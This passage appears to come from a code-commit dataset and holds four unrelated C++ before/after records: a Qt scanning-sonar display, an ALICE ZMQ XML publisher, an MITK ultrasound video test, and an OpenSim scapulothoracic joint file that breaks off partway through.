*it = scene.addPolygon(polygon,QPen(Qt::NoPen));\r\n        queue.append(it);\r\n\r\n        scanLine->setRotation(newHeading-90);\r\n\r\n        QLinearGradient g(QPointF(0, 0), endPoint2);\r\n        for (int i = 0; i < n; i++) {\r\n            char b = data.getEchoData()[i];\r\n            g.setColorAt(1.0*i\/n,QColor(0,2*b,0));\r\n        }\r\n        it->setBrush(QBrush(g));\r\n\r\n        \/\/ this should ensure that a full circle is conserved even at highest resolution\r\n        \/\/ it may result in overlay, but this doesn't matter since newer items will always\r\n        \/\/ be drawn on top of older ones.\r\n        \/\/ 480: don't ask, it just works :)\r\n        while (queue.size()>480\/(oldStepSize*3+3)) {\r\n            delete queue.takeFirst();\r\n        }\r\n\r\n    }\r\n\r\n    oldHeading = newHeading;\r\n}\r\n\r\nvoid ScanningSonarForm::on_save_clicked()\r\n{\r\n    sonar->setSettingsValue(\"serialPort\", ui->serialPort->text());\r\n    sonar->setSettingsValue(\"frequency\", ui->frequency->currentIndex());\r\n    sonar->setSettingsValue(\"gain\", ui->gain->value());\r\n    sonar->setSettingsValue(\"pulseLength\", ui->pulseLength->value());\r\n    sonar->setSettingsValue(\"range\", ui->range->value());\r\n    sonar->setSettingsValue(\"sectorWidth\", ui->sectorWidth->value());\r\n    sonar->setSettingsValue(\"stepSize\", ui->stepSize->currentIndex()+1);\r\n    sonar->setSettingsValue(\"switchDelay\", ui->switchDelay->text().toInt());\r\n    sonar->setSettingsValue(\"trainAngle\", ui->trainAngle->text().toInt());\r\n    sonar->setSettingsValue(\"dataPoints\", ui->dataPoints->text().toInt());\r\n\r\n    QTimer::singleShot(0,sonar,SLOT(reset()));\r\n\r\n\r\n\r\n    \/\/ the scan resolution may have changed, clear the graphics scene\r\n    foreach(QGraphicsItem* g, queue) {\r\n        delete queue.takeFirst();\r\n    }\r\n}\r\n\r\nvoid ScanningSonarForm::on_fileCfgApply_clicked()\r\n{\r\n    sonar->setSettingsValue(\"readFromFile\", ui->sourceFile->isChecked());\r\n    sonar->setSettingsValue(\"filename\", ui->fileName->text());\r\n    sonar->setSettingsValue(\"fileReaderDelay\", ui->fileReaderDelay->value());\r\n    sonar->setSettingsValue(\"enableRecording\", ui->enableRecording->isChecked());\r\n    sonar->setSettingsValue(\"formatCSV\", ui->formatCSV->isChecked());\r\n    sonar->setSettingsValue(\"startTime\", ui->startTime->dateTime());\r\n\r\n    \/\/ richtiges reset?\r\n    QTimer::singleShot(0,sonar,SLOT(reset()));\r\n\r\n}\r\n\r\nvoid ScanningSonarForm::on_fileReaderDelay_valueChanged(int )\r\n{\r\n    sonar->setSettingsValue(\"fileReaderDelay\", ui->fileReaderDelay->value());\r\n}\r\n\r\nvoid ScanningSonarForm::on_selFile_clicked()\r\n{\r\n    QString fileName = QFileDialog::getOpenFileName(this,\r\n         \"Open Sonar Recording\", ui->fileName->text(), \"Recording (*.852)\");\r\n\r\n    if (fileName.length()>0)\r\n        ui->fileName->setText(fileName);\r\n}\r\n<commit_msg>changed sonar view to black\/white with red lines<commit_after>#include \"scanningsonar_form.h\"\r\n#include \"ui_scanningsonar_form.h\"\r\n#include \"sonarreturndata.h\"\r\n#include <Framework\/dataloghelper.h>\r\n\r\nScanningSonarForm::ScanningSonarForm(Module_ScanningSonar* sonar,QWidget *parent) :\r\n        QWidget(parent),\r\n        ui(new Ui::ScanningSonarForm),\r\n        scene()\r\n{\r\n    ui->setupUi(this);\r\n    this->sonar = sonar;\r\n\r\n    oldHeading = NAN;\r\n    oldStepSize = 0;\r\n\r\n    logger = Log4Qt::Logger::logger(\"ScanningSonarForm\");\r\n\r\n    this->ui->graphicsView->setScene(&scene);\r\n    scanLine = scene.addLine(0,0,0,50, QPen(QColor(\"red\")));\r\n    scanLine->setZValue(20);\r\n\r\n    scene.addLine(-50,0,50,0,QPen(QColor(\"red\")))->setZValue(10);\r\n    scene.addLine(0,-50,0,50,QPen(QColor(\"red\")))->setZValue(10);\r\n    scene.addEllipse(-50,-50,100,100,QPen(QColor(\"red\")))->setZValue(10);\r\n    scene.addEllipse(-40,-40,80,80,QPen(QColor(\"red\")))->setZValue(10);\r\n    scene.addEllipse(-30,-30,60,60,QPen(QColor(\"red\")))->setZValue(10);\r\n    scene.addEllipse(-20,-20,40,40,QPen(QColor(\"red\")))->setZValue(10);\r\n    scene.addEllipse(-10,-10,20,20,QPen(QColor(\"red\")))->setZValue(10);\r\n\r\n    connect(sonar, SIGNAL(newSonarData(SonarReturnData)), this, SLOT(updateSonarView(SonarReturnData)));\r\n\r\n    ui->serialPort->setText(sonar->getSettingsValue(\"serialPort\").toString());\r\n    ui->frequency->setCurrentIndex(sonar->getSettingsValue(\"frequency\").toInt());\r\n    ui->gain->setValue(sonar->getSettingsValue(\"gain\").toInt());\r\n    ui->pulseLength->setValue(sonar->getSettingsValue(\"pulseLength\").toInt());\r\n    ui->range->setValue(sonar->getSettingsValue(\"range\").toInt());\r\n    ui->sectorWidth->setValue(sonar->getSettingsValue(\"sectorWidth\").toInt());\r\n    ui->stepSize->setCurrentIndex(sonar->getSettingsValue(\"stepSize\").toInt()-1);\r\n    ui->switchDelay->setText(sonar->getSettingsValue(\"switchDelay\").toString());\r\n    ui->trainAngle->setText(sonar->getSettingsValue(\"trainAngle\").toString());\r\n    ui->dataPoints->setText(sonar->getSettingsValue(\"dataPoints\").toString());\r\n\r\n    ui->sourceFile->setChecked(sonar->getSettingsValue(\"readFromFile\").toBool());\r\n    ui->sourceSerial->setChecked(!sonar->getSettingsValue(\"readFromFile\").toBool());\r\n    ui->fileName->setText(sonar->getSettingsValue(\"filename\").toString());\r\n    ui->enableRecording->setChecked(sonar->getSettingsValue(\"enableRecording\").toBool());\r\n    ui->fileReaderDelay->setValue(sonar->getSettingsValue(\"fileReaderDelay\").toInt());\r\n    ui->formatCSV->setChecked(sonar->getSettingsValue(\"formatCSV\").toBool());\r\n    ui->format852->setChecked(!sonar->getSettingsValue(\"formatCSV\").toBool());\r\n    ui->startTime->setDateTime(sonar->getSettingsValue(\"startTime\").toDateTime());\r\n\r\n    ui->recorderFilename->setText(DataLogHelper::getLogDir()+\"sonarlog.XXX\");\r\n}\r\n\r\nScanningSonarForm::~ScanningSonarForm()\r\n{\r\n    delete ui;\r\n}\r\n\r\nvoid ScanningSonarForm::changeEvent(QEvent *e)\r\n{\r\n    QWidget::changeEvent(e);\r\n    switch (e->type()) {\r\n    case QEvent::LanguageChange:\r\n        ui->retranslateUi(this);\r\n        break;\r\n    default:\r\n        break;\r\n    }\r\n}\r\n\r\nvoid ScanningSonarForm::updateSonarView(const SonarReturnData data)\r\n{\r\n    float n = data.getEchoData().length();\r\n    float range = data.getRange();\r\n\r\n    if (oldStepSize != data.switchCommand.stepSize) {\r\n        oldStepSize = data.switchCommand.stepSize;\r\n        foreach (QGraphicsPolygonItem* o, queue) {\r\n            delete o;\r\n        }\r\n        queue.clear();\r\n    }\r\n\r\n    ui->time->setDateTime(data.switchCommand.time);\r\n    ui->heading->setText(QString::number(data.getHeadPosition()));\r\n    ui->gain_2->setText(QString::number(data.switchCommand.startGain));\r\n    ui->range_2->setText(QString::number(data.getRange()));\r\n\r\n    \/\/ TODO: if any of the parameters have changed; reset the scene\r\n\r\n    float newHeading = data.getHeadPosition();\r\n    int bla = oldHeading;\r\n    bool isnumber = (bla != 0);\r\n\r\n    if(ui->checkBox->isChecked() && isnumber && (fabs(newHeading - oldHeading)<20 || fabs(newHeading - oldHeading)>340))\r\n    {\r\n\r\n        QPolygonF polygon;\r\n\r\n        QPointF endPoint1 = QTransform().rotate(oldHeading).map(QPointF(range,0));\r\n        QPointF endPoint2 = QTransform().rotate(newHeading).map(QPointF(range,0));\r\n\r\n        polygon << QPointF(0,0) << endPoint1 << endPoint2;\r\n        QGraphicsPolygonItem *it = scene.addPolygon(polygon,QPen(Qt::NoPen));\r\n        queue.append(it);\r\n\r\n        scanLine->setRotation(newHeading-90);\r\n\r\n        QLinearGradient g(QPointF(0, 0), endPoint2);\r\n        for (int i = 0; i < n; i++) {\r\n            char b = data.getEchoData()[i];\r\n            g.setColorAt(1.0*i\/n,QColor(2*b,2*b,2*b));\r\n        }\r\n        it->setBrush(QBrush(g));\r\n\r\n        \/\/ this should ensure that a full circle is conserved even at highest resolution\r\n        \/\/ it may result in overlay, but this doesn't matter since newer items will always\r\n        \/\/ be drawn on top of older ones.\r\n        \/\/ 480: don't ask, it just works :)\r\n        while (queue.size()>480\/(oldStepSize*3+3)) {\r\n            delete queue.takeFirst();\r\n        }\r\n\r\n    }\r\n\r\n    oldHeading = newHeading;\r\n}\r\n\r\nvoid ScanningSonarForm::on_save_clicked()\r\n{\r\n    sonar->setSettingsValue(\"serialPort\", ui->serialPort->text());\r\n    sonar->setSettingsValue(\"frequency\", ui->frequency->currentIndex());\r\n    sonar->setSettingsValue(\"gain\", ui->gain->value());\r\n    sonar->setSettingsValue(\"pulseLength\", ui->pulseLength->value());\r\n    sonar->setSettingsValue(\"range\", ui->range->value());\r\n    sonar->setSettingsValue(\"sectorWidth\", ui->sectorWidth->value());\r\n    sonar->setSettingsValue(\"stepSize\", ui->stepSize->currentIndex()+1);\r\n    sonar->setSettingsValue(\"switchDelay\", ui->switchDelay->text().toInt());\r\n    sonar->setSettingsValue(\"trainAngle\", ui->trainAngle->text().toInt());\r\n    sonar->setSettingsValue(\"dataPoints\", ui->dataPoints->text().toInt());\r\n\r\n    QTimer::singleShot(0,sonar,SLOT(reset()));\r\n\r\n\r\n\r\n    \/\/ the scan resolution may have changed, clear the graphics scene\r\n    foreach(QGraphicsItem* g, queue) {\r\n        delete queue.takeFirst();\r\n    }\r\n}\r\n\r\nvoid ScanningSonarForm::on_fileCfgApply_clicked()\r\n{\r\n    sonar->setSettingsValue(\"readFromFile\", ui->sourceFile->isChecked());\r\n    sonar->setSettingsValue(\"filename\", ui->fileName->text());\r\n    sonar->setSettingsValue(\"fileReaderDelay\", ui->fileReaderDelay->value());\r\n    sonar->setSettingsValue(\"enableRecording\", ui->enableRecording->isChecked());\r\n    sonar->setSettingsValue(\"formatCSV\", ui->formatCSV->isChecked());\r\n    sonar->setSettingsValue(\"startTime\", ui->startTime->dateTime());\r\n\r\n    \/\/ richtiges reset?\r\n    QTimer::singleShot(0,sonar,SLOT(reset()));\r\n\r\n}\r\n\r\nvoid ScanningSonarForm::on_fileReaderDelay_valueChanged(int )\r\n{\r\n    sonar->setSettingsValue(\"fileReaderDelay\", ui->fileReaderDelay->value());\r\n}\r\n\r\nvoid ScanningSonarForm::on_selFile_clicked()\r\n{\r\n    QString fileName = QFileDialog::getOpenFileName(this,\r\n         \"Open Sonar Recording\", ui->fileName->text(), \"Recording (*.852)\");\r\n\r\n    if (fileName.length()>0)\r\n        ui->fileName->setText(fileName);\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#include \"AliZMQManager.h\"\n#include \"AliStorageTypes.h\"\n#include <iostream>\n#include <sstream>\n#include <ostream>\n#include <AliTrackPointArray.h>\n#include <TXMLEngine.h>\t\t\t\t\n\nusing namespace std;\n\nTXMLEngine* xml = new TXMLEngine;\n\nstringstream& getXml(AliESDEvent *event)\n{\n\t\/\/ Create main node of document tree\n\tXMLNodePointer_t mainnode = xml->NewChild(0, 0, \"main\");\n\t\n\tcout<<\"tracks:\"<<event->GetNumberOfTracks()<<endl;\n\tXMLNodePointer_t tracks[event->GetNumberOfTracks()];\n\t\n\tfor(int i=0;i<event->GetNumberOfTracks();i++)\n\t{\n\t\tAliESDtrack *track = event->GetTrack(i);\n\t\ttracks[i] = xml->NewChild(mainnode, 0, Form(\"track%d\",i));\n\t\tconst AliTrackPointArray *array = track->GetTrackPointArray();\n\t\tif(array)\n\t\t{\n\t\t\tconst float *x = array->GetX();\n\t\t\tconst float *y = array->GetY();\n\t\t\tconst float *z = array->GetZ();\n\t\t\tint n = array->GetNPoints();\n\n\t\t\tfor(int j=0;j<n;j++)\n\t\t\t{\n\t\t\t\tcout<<\"3\"<<endl;\n\t\t\t\txml->NewChild(tracks[i], 0,Form(\"point%d\",j),Form(\"%f\\t%f\\t%f\\n\",x[j],y[j],z[j]));\n\t\t\t}\t\n\t\t}\n\t\telse cout<<\"no array\"<<endl;\n\t}\n   \n\tstringstream streamXml;\n\txml->SavePrimitive(streamXml);\n\tdelete xml;\n\treturn streamXml;\n}\n\nint main()\n{\n\tAliZMQManager *manager = AliZMQManager::GetInstance();\n\tAliESDEvent *event;\n\n\twhile(1)\n\t{\n        manager->Get(event,EVENTS_SERVER_SUB);\n\t\tcout<<\"sending xml\"<<endl;\n\t\tmanager->Send(getXml(event),XML_PUB);\n\t\tcout<<\"xml sent\"<<endl;\n\t}\n\treturn 0;\n}\n\n\n<commit_msg>Fixed compilation (Markus Fasel)<commit_after>#include \"AliZMQManager.h\"\n#include \"AliStorageTypes.h\"\n#include <iostream>\n#include <sstream>\n#include <ostream>\n#include <AliTrackPointArray.h>\n#include <TXMLEngine.h>\t\t\t\t\n\nusing namespace std;\n\nTXMLEngine* xml = new TXMLEngine;\n\nstringstream& getXml(AliESDEvent *event)\n{\n\t\/\/ Create main node of document tree\n\tXMLNodePointer_t mainnode = xml->NewChild(0, 0, \"main\");\n\t\n\tcout<<\"tracks:\"<<event->GetNumberOfTracks()<<endl;\n\tXMLNodePointer_t tracks[event->GetNumberOfTracks()];\n\t\n\tfor(int i=0;i<event->GetNumberOfTracks();i++)\n\t{\n\t\tAliESDtrack *track = event->GetTrack(i);\n\t\ttracks[i] = xml->NewChild(mainnode, 0, Form(\"track%d\",i));\n\t\tconst AliTrackPointArray *array = track->GetTrackPointArray();\n\t\tif(array)\n\t\t{\n\t\t\tconst float *x = array->GetX();\n\t\t\tconst float *y = array->GetY();\n\t\t\tconst float *z = array->GetZ();\n\t\t\tint n = array->GetNPoints();\n\n\t\t\tfor(int j=0;j<n;j++)\n\t\t\t{\n\t\t\t\tcout<<\"3\"<<endl;\n\t\t\t\txml->NewChild(tracks[i], 0,Form(\"point%d\",j),Form(\"%f\\t%f\\t%f\\n\",x[j],y[j],z[j]));\n\t\t\t}\t\n\t\t}\n\t\telse cout<<\"no array\"<<endl;\n\t}\n   \n\tstringstream streamXml;\n\txml->SavePrimitive(streamXml);\n\tdelete xml;\n\treturn streamXml;\n}\n\nint main()\n{\n\tAliZMQManager *manager = AliZMQManager::GetInstance();\n\tAliESDEvent *event;\n\n\twhile(1)\n\t{\n        manager->Get(event,EVENTS_SERVER_SUB);\n\t\tcout<<\"sending xml\"<<endl;\n\t\tmanager->SendAsXml(event,XML_PUB);\n\t\tcout<<\"xml sent\"<<endl;\n\t}\n\treturn 0;\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"mitkUSImageVideoSource.h\"\n#include \"mitkTestingMacros.h\"\n\nclass mitkUSImageVideoSourceTestClass\n{\npublic:\n\n  static void TestInstantiation()\n  {\n    \/\/ let's create an object of our class\n    mitk::USImageVideoSource::Pointer usSource = mitk::USImageVideoSource::New();\n    MITK_TEST_CONDITION_REQUIRED(usSource.IsNotNull(), \"USImageVideoSource should not be null after instantiation\");\n  }\n\n  static void TestOpenVideoFile(std::string videoFilePath)\n  {\n    mitk::USImageVideoSource::Pointer usSource = mitk::USImageVideoSource::New();\n\n    usSource->SetVideoFileInput(videoFilePath);\n    MITK_TEST_CONDITION_REQUIRED(usSource->GetIsVideoReady(), \"USImageVideoSource should have isVideoReady flag set after opening a Video File\");\n    mitk::Image::Pointer frame;\n    frame = usSource->GetNextImage();\n    MITK_TEST_CONDITION_REQUIRED(frame.IsNotNull(), \"First frame should not be null.\");\n    frame = usSource->GetNextImage();\n    MITK_TEST_CONDITION_REQUIRED(frame.IsNotNull(), \"Second frame should not be null.\");\n    frame = usSource->GetNextImage();\n    MITK_TEST_CONDITION_REQUIRED(frame.IsNotNull(), \"Third frame should not be null.\");\n    frame = usSource->GetNextImage();\n    MITK_TEST_CONDITION_REQUIRED(frame.IsNotNull(), \"Fourth frame should not be null.\");\n    frame = usSource->GetNextImage();\n    MITK_TEST_CONDITION_REQUIRED(frame.IsNotNull(), \"Fifth frame should not be null.\");\n  }\n  \/** This Test will fail if no device is attached. Since it basically covers the same non-OpenCV Functionality as TestOpenVideoFile, it is ommited\n  static void TestOpenDevice()\n  {\n  mitk::USImageVideoSource::Pointer usSource = mitk::USImageVideoSource::New();\n  usSource->SetCameraInput(-1);\n  MITK_TEST_CONDITION_REQUIRED(usSource->GetIsVideoReady(), \"USImageVideoSource should have isVideoReady flag set after opening a Camera device\");\n  }\n  *\/\n};\n\n\/**\n* This function is testing methods of the class USImageVideoSource.\n*\/\nint mitkUSImageVideoSourceTest(int, char* argv[])\n{\n  MITK_TEST_BEGIN(\"mitkUSImageVideoSourceTest\");\n\n  mitkUSImageVideoSourceTestClass::TestInstantiation();\n\n#ifdef WIN32 \/\/ Video file compression is currently only supported under windows.\n  mitkUSImageVideoSourceTestClass::TestOpenVideoFile(argv[1]);\n#else\n  argv;\n#endif\n\n  \/\/ This test is commented out since no videodevcie ist steadily connected to the dart clients.\n  \/\/ Functionality should sufficiently be tested through TestOpenVideoFile anyway\n  \/\/mitkUSImageVideoSourceTestClass::TestOpenDevice();\n\n  MITK_TEST_END();\n}\n<commit_msg>removed no effect warning<commit_after>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"mitkUSImageVideoSource.h\"\n#include \"mitkTestingMacros.h\"\n\nclass mitkUSImageVideoSourceTestClass\n{\npublic:\n\n  static void TestInstantiation()\n  {\n    \/\/ let's create an object of our class\n    mitk::USImageVideoSource::Pointer usSource = mitk::USImageVideoSource::New();\n    MITK_TEST_CONDITION_REQUIRED(usSource.IsNotNull(), \"USImageVideoSource should not be null after instantiation\");\n  }\n\n  static void TestOpenVideoFile(std::string videoFilePath)\n  {\n    mitk::USImageVideoSource::Pointer usSource = mitk::USImageVideoSource::New();\n\n    usSource->SetVideoFileInput(videoFilePath);\n    MITK_TEST_CONDITION_REQUIRED(usSource->GetIsVideoReady(), \"USImageVideoSource should have isVideoReady flag set after opening a Video File\");\n    mitk::Image::Pointer frame;\n    frame = usSource->GetNextImage();\n    MITK_TEST_CONDITION_REQUIRED(frame.IsNotNull(), \"First frame should not be null.\");\n    frame = usSource->GetNextImage();\n    MITK_TEST_CONDITION_REQUIRED(frame.IsNotNull(), \"Second frame should not be null.\");\n    frame = usSource->GetNextImage();\n    MITK_TEST_CONDITION_REQUIRED(frame.IsNotNull(), \"Third frame should not be null.\");\n    frame = usSource->GetNextImage();\n    MITK_TEST_CONDITION_REQUIRED(frame.IsNotNull(), \"Fourth frame should not be null.\");\n    frame = usSource->GetNextImage();\n    MITK_TEST_CONDITION_REQUIRED(frame.IsNotNull(), \"Fifth frame should not be null.\");\n  }\n  \/** This Test will fail if no device is attached. Since it basically covers the same non-OpenCV Functionality as TestOpenVideoFile, it is ommited\n  static void TestOpenDevice()\n  {\n  mitk::USImageVideoSource::Pointer usSource = mitk::USImageVideoSource::New();\n  usSource->SetCameraInput(-1);\n  MITK_TEST_CONDITION_REQUIRED(usSource->GetIsVideoReady(), \"USImageVideoSource should have isVideoReady flag set after opening a Camera device\");\n  }\n  *\/\n};\n\n\/**\n* This function is testing methods of the class USImageVideoSource.\n*\/\nint mitkUSImageVideoSourceTest(int, char* argv[])\n{\n  MITK_TEST_BEGIN(\"mitkUSImageVideoSourceTest\");\n\n  mitkUSImageVideoSourceTestClass::TestInstantiation();\n\n#ifdef WIN32 \/\/ Video file compression is currently only supported under windows.\n  mitkUSImageVideoSourceTestClass::TestOpenVideoFile(argv[1]);\n#endif\n\n  \/\/ This test is commented out since no videodevcie ist steadily connected to the dart clients.\n  \/\/ Functionality should sufficiently be tested through TestOpenVideoFile anyway\n  \/\/mitkUSImageVideoSourceTestClass::TestOpenDevice();\n\n  MITK_TEST_END();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* -------------------------------------------------------------------------- *\n *                   OpenSim:  ScapulothoracicJoint.cpp                       *\n * -------------------------------------------------------------------------- *\n * ScapulothoracicJoint is offered as an addition to the OpenSim API          *\n * See http:\/\/opensim.stanford.edu and the NOTICE file for more information.  *\n *                                                                            *\n * OpenSim is developed at Stanford University and is supported by:           *\n *                                                                            *\n * - The National Institutes of Health (U54 GM072970, R24 HD065690)           *\n * - DARPA, through the Warrior Web program                                   *\n * - The Chan Zuckerberg Initiative (CZI 2020-218896)                         *\n *                                                                            *\n * Copyright (c) 2005-2020 Stanford University and the Authors                *\n * Author(s): Ajay Seth                                                       *\n *                                                                            *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may    *\n * not use this file except in compliance with the License. You may obtain a  *\n * copy of the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0.         *\n *                                                                            *\n * Unless required by applicable law or agreed to in writing, software        *\n * distributed under the License is distributed on an \"AS IS\" BASIS,          *\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.   *\n * See the License for the specific language governing permissions and        *\n * limitations under the License.                                             *\n * -------------------------------------------------------------------------- *\/\n\n\n\/\/=============================================================================\n\/\/ INCLUDES\n\/\/=============================================================================\n#include \"ScapulothoracicJoint.h\"\n#include \"simbody\/internal\/SimbodyMatterSubsystem.h\"\n#include \"simbody\/internal\/MobilizedBody_Ellipsoid.h\"\n#include \"simbody\/internal\/MobilizedBody_Pin.h\"\n#include \"simbody\/internal\/MobilizedBody_Weld.h\"\n\/\/=============================================================================\n\/\/ STATICS\n\/\/=============================================================================\nusing namespace OpenSim;\nusing namespace SimTK;\n\/\/=============================================================================\n\/\/ CONSTRUCTOR(S)\n\/\/=============================================================================\n\/\/_____________________________________________________________________________\n\/*\n* Default constructor.\n*\/\nScapulothoracicJoint::ScapulothoracicJoint()\n    : Super()\n{\n    constructProperties();\n}\n\n\/\/_____________________________________________________________________________\n\/*\n * Convenience Constructor.\n *\/\nScapulothoracicJoint::ScapulothoracicJoint(const std::string& name,\n    const PhysicalFrame& parent,\n    const PhysicalFrame& child,\n    const SimTK::Vec3& ellipsoidRadii,\n    SimTK::Vec2 wingingOrigin,\n    double wingingDirection)\n    : Super(name,\n          parent,\n          child)\n{\n    constructProperties();\n    upd_thoracic_ellipsoid_radii_x_y_z() = ellipsoidRadii;\n    upd_scapula_winging_axis_origin(0) = wingingOrigin[0];\n    upd_scapula_winging_axis_origin(1) = wingingOrigin[1];\n    upd_scapula_winging_axis_direction() = wingingDirection;\n}\n\n\/** Convenience constructor *\/\nScapulothoracicJoint::ScapulothoracicJoint(\n    const std::string& name,\n    const PhysicalFrame& parent,\n    const SimTK::Vec3& locationInParent,\n    const SimTK::Vec3& orientationInParent,\n    const PhysicalFrame& child,\n    const SimTK::Vec3& locationInChild,\n    const SimTK::Vec3& orientationInChild,\n    const SimTK::Vec3& ellipsoidRadii,\n    SimTK::Vec2 wingingOrigin,\n    double wingingDirection)\n    : Super(name,\n          parent,\n          locationInParent,\n          orientationInParent,\n          child,\n          locationInChild,\n          orientationInChild)\n{\n    constructProperties();\n    upd_thoracic_ellipsoid_radii_x_y_z() = ellipsoidRadii;\n    upd_scapula_winging_axis_origin(0) = wingingOrigin[0];\n    upd_scapula_winging_axis_origin(1) = wingingOrigin[1];\n    upd_scapula_winging_axis_direction() = wingingDirection;\n}\n\n\/\/=============================================================================\n\/\/ CONSTRUCTION\n\/\/=============================================================================\n\/\/_____________________________________________________________________________\n\/**\n * Construct properties with their default values.\n *\/\nvoid ScapulothoracicJoint::constructProperties()\n{\n    setAuthors(\"Ajay Seth\");\n    constructProperty_thoracic_ellipsoid_radii_x_y_z(Vec3(NaN));\n    constructProperty_scapula_winging_axis_origin(Vector(2, 0.0));\n    constructProperty_scapula_winging_axis_direction(0.0);\n}\n\n\n\/\/=============================================================================\n\/\/ SCALING\n\/\/=============================================================================\n\/\/_____________________________________________________________________________\n\/**\n* Scale a joint based on XYZ scale factors for the bodies.\n*\n* @param aScaleSet Set of XYZ scale factors for the bodies.\n* @todo Need to scale transforms appropriately, given an arbitrary axis.\n*\/\nvoid ScapulothoracicJoint::extendScale(const SimTK::State& s,\n                                       const ScaleSet& scaleSet)\n{\n    \/\/ Joint knows how to scale locations of the joint in parent and on the body\n    Super::extendScale(s, scaleSet);\n\n    const std::string& parentName = getParentFrame().getName();\n\n    \/\/ Scaling related to the parent body:\n    \/\/\n    \/\/ Joint kinematics are scaled by the scale factors for the parent body,\n    \/\/ so get those body's factors\n    Vec3 scaleFactors(1.0);\n    for (int i = 0; i < scaleSet.getSize(); i++) {\n        const Scale &scale = scaleSet.get(i);\n\n        if (scale.getSegmentName() == parentName) {\n            scale.getScaleFactors(scaleFactors);\n            break;\n        }\n    }\n\n    \/\/ Scale the size of the mobilizer\n    for (int i=0; i<3; i++) {\n        upd_thoracic_ellipsoid_radii_x_y_z()[i] *= scaleFactors[i];\n    }\n}\n\n\/\/=============================================================================\n\/\/ Simbody Model building.\n\/\/=============================================================================\n\/\/_____________________________________________________________________________\nvoid ScapulothoracicJoint::extendAddToSystem(SimTK::MultibodySystem& system) const\n{\n    Super::extendAddToSystem(system);\n\n    \/\/ Transform for ellipsoid joint frame in intermediate Scapula massless\n    \/\/ body frame.\n    \/\/\n    \/\/ Oriented such that intermediate frame is aligned with scapula joint\n    \/\/ frame with respect to the scapula body frame as user specified by\n    \/\/ _location and _orientation\n    Transform ellipsoidJointFrameInIntermediate{\n        Rotation{\n            BodyRotationSequence,\n            0, XAxis,\n            0, YAxis,\n            Pi\/2,\n            ZAxis},\n        Vec3(0.0)};\n\n    \/\/ Transform for Ellipsoid in parent body (Thorax).\n    \/\/\n    \/\/ Note: Ellipsoid rotated Pi\/2 w.r.t. parent (i.e. Thorax) so that\n    \/\/       abduction and elevation are positive.\n    Transform ellipsoidJointFrameInThorax = [&](){\n        Transform parentTransform = getParentFrame().findTransformInBaseFrame();\n\n        const Vec3 orientationInParent =\n            parentTransform.R().convertRotationToBodyFixedXYZ();\n\n        return Transform{\n            Rotation{\n                BodyRotationSequence,\n                orientationInParent[0], XAxis,\n                orientationInParent[1], YAxis,\n                orientationInParent[2] + Pi\/2,\n                ZAxis},\n            parentTransform.p()};\n    }();\n\n    \/\/ careful: this is both an in-param and an out-param below\n    int coordinateIndexForMobility = 0;\n\n    \/\/ Create mobilized body.\n    \/\/\n    \/\/ Ellipsoid is rotated Pi\/2 for desired rotations, but user's still wants\n    \/\/ to define Ellipsoid shape w.r.t thorax.\n    \/\/\n    \/\/ Swap ellipsoidRadii X,Y,Z in Thorax body frame to Y, X, Z in rotated\n    \/\/ joint frame in parent.\n    MobilizedBody::Ellipsoid simtkMasslessBody1 = [&]() {\n        const SimTK::MobilizedBodyIndex& parentMobodIndex =\n            getParentFrame().getMobilizedBodyIndex();\n\n        MobilizedBody& parentMobod =\n            system.updMatterSubsystem().updMobilizedBody(parentMobodIndex);\n\n        auto mobod = createMobilizedBody<MobilizedBody::Ellipsoid>(\n            parentMobod,\n            ellipsoidJointFrameInThorax,\n            SimTK::Body::Massless(),\n            ellipsoidJointFrameInIntermediate,\n            coordinateIndexForMobility);\n\n        \/\/ swizzle radii coordinates appropriately\n        Vec3 ellipsoidRadii{\n            get_thoracic_ellipsoid_radii_x_y_z()[1],\n            get_thoracic_ellipsoid_radii_x_y_z()[0],\n            get_thoracic_ellipsoid_radii_x_y_z()[2]};\n        mobod.setDefaultRadii(ellipsoidRadii);\n\n        return mobod;\n    }();\n\n    MobilizedBody::Pin simtkMasslessBody2 = [&]() {\n        \/\/ get unit vector version of direction in the scapula joint frame of\n        \/\/ the Ellipsoid, where:\n        \/\/\n        \/\/ - the joint Z-axis is normal to the ellipsoid surface\n        \/\/ - the joint X-axis is in the direction of abduction\n        \/\/ - the joint Y-axis is elevation in the neutral position\n        \/\/\n        \/\/ winging is orthogonal to upward rotation (about Z) with axis in\n        \/\/ XY-plane winging direction for 0 is aligned with intermediate frame\n        \/\/ Y and rotates counterclockwise with increasing angles.\n        const double wingDirection = get_scapula_winging_axis_direction();\n        SimTK::UnitVec3 dir(\n            -sin(wingDirection),\n            cos(wingDirection),\n            0);\n\n        \/\/ Find rotation that aligns z-axis of pin mobilizer frame to winging\n        \/\/ axis. This is in the scapula-ellipsoid (massless body) frame.\n        SimTK::Rotation wingOrientationInIntermediateFrame(dir, ZAxis);\n\n        \/\/ origin of the winging axis w.r.t to the scapula joint frame of the\n        \/\/ ellipsoid\n        SimTK::Vec3 wingOriginInIntermediateFrame(\n            get_scapula_winging_axis_origin(0),\n            get_scapula_winging_axis_origin(1),\n            0);\n\n        \/\/ winging joint transform in the scapula ellipsoid joint frame\n        SimTK::Transform wingingInIntermediateFrame(\n            wingOrientationInIntermediateFrame,\n            wingOriginInIntermediateFrame);\n\n        return createMobilizedBody<MobilizedBody::Pin>(\n            simtkMasslessBody1,\n            wingingInIntermediateFrame,\n            SimTK::Body::Massless(),\n            wingingInIntermediateFrame,\n            coordinateIndexForMobility);\n    }();\n\n    \/\/ Define the scapular joint frame in w.r.t 